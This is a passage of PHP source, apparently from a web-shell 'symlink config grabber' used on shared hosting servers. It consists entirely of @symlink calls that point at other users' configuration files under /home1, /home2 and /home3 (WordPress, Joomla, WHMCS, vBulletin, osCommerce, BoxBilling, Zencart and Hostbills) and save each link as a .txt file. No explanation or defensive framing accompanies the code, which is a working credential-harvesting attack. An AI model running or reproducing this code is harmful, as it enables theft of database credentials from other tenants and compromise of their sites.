  1082. @symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1083. @symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1084. @symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1085. @symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1086. @symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1087. @symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1088. @symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1089. @symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1090. @symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1091. @symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1092. @symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1093. @symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1094. @symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1095. @symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1096. @symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1097. @symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1098. @symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1099. @symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1100. @symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1101. @symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1102. @symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1103. @symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1104. @symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1105. @symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1106. @symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1107. @symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1108. @symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1109.  
  1110. //Home2
  1111.  
  1112. @symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1113. @symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1114. @symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1115. @symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1116. @symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1117. @symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1118. @symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1119. @symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1120. @symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1121. @symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1122. @symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1123. @symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1124. @symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1125. @symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1126. @symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1127. @symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1128. @symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1129. @symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1130. @symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1131. @symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1132. @symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1133. @symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1134. @symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1135. @symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1136. @symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1137. @symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1138. @symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1139. @symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1140. @symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1141. @symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1142. @symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1143. @symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1144. @symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1145. @symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1146. @symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1147. @symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1148. @symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1149. @symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1150. @symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1151. @symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1152. @symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1153. @symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1154. @symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1155. @symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1156. @symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1157. @symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1158. @symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1159. @symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1160. @symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1161. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1162. @symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1163. @symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1164. @symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1165. @symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1166. @symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1167. @symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1168. @symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1169. @symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1170. @symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1171. @symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1172. @symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1173. @symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1174. @symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1175. @symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1176. @symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1177. @symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1178. @symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1179. @symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1180. @symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1181. @symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1182. @symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1183. @symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1184. @symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1185. @symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1186. @symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1187. @symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1188. @symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1189. @symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1190. @symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1191. @symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1192. @symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1193. @symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1194. @symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1195. @symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1196. @symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1197. @symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1198. @symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1199. @symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1200. @symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1201. @symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1202. @symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1203. @symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1204. @symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1205. @symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1206. @symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1207. @symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1208. @symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1209. @symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1210. @symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1211. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1212. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1213. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1214. @symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1215. @symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1216. @symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1217. @symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1218. @symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1219. @symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1220. @symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1221. @symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1222. @symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1223. @symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1224. @symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1225. @symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1226. @symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1227. @symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1228. @symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1229. @symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1230. @symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1231. @symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1232. @symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1233. @symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1234. @symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1235. @symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1236. @symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1237. @symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1238. @symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1239. @symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1240. @symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1241. @symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1242. @symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1243. @symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1244. @symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1245. @symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1246. @symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1247. @symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1248. @symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1249. @symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1250. @symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1251. @symlink('/home2/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1252. @symlink('/home2/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1253. @symlink('/home2/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1254. @symlink('/home2/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1255. @symlink('/home2/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1256. @symlink('/home2/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1257. @symlink('/home2/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1258. @symlink('/home2/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1259. @symlink('/home2/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1260. @symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1261. @symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1262. @symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1263. @symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1264. @symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1265. @symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1266. @symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1267. @symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1268. @symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1269. @symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1270. @symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1271. @symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1272. @symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1273. @symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1274. @symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1275. @symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1276. @symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1277. @symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1278. @symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1279. @symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1280. @symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1281. @symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1282. @symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1283. @symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1284. @symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1285. @symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1286. @symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1287. @symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1288. @symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1289. @symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1290. @symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1291. @symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1292.  
  1293. //Home3
  1294.  
  1295. @symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1296. @symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1297. @symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1298. @symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1299. @symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1300. @symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1301. @symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1302. @symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1303. @symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1304. @symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1305. @symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1306. @symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1307. @symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1308. @symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1309. @symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1310. @symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1311. @symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1312. @symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1313. @symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1314. @symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1315. @symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1316. @symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1317. @symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1318. @symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1319. @symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1320. @symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1321. @symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1322. @symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1323. @symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1324. @symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1325. @symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1326. @symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1327. @symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1328. @symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1329. @symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1330. @symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1331. @symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1332. @symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1333. @symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1334. @symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1335. @symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1336. @symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1337. @symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1338. @symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1339. @symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1340. @symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1341. @symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1342. @symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1343. @symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1344. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1345. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1346. @symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1347. @symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1348. @symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1349. @symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1350. @symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1351. @symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1352. @symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1353. @symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1354. @symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1355. @symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1356. @symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1357. @symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1358. @symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1359. @symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1360. @symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1361. @symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1362. @symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1363. @symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1364. @symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1365. @symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1366. @symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1367. @symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1368. @symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1369. @symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1370. @symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1371. @symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1372. @symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1373. @symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1374. @symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1375. @symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1376. @symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1377. @symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1378. @symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1379. @symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1380. @symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1381. @symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1382. @symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1383. @symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1384. @symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1385. @symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1386. @symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1387. @symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1388. @symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1389. @symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
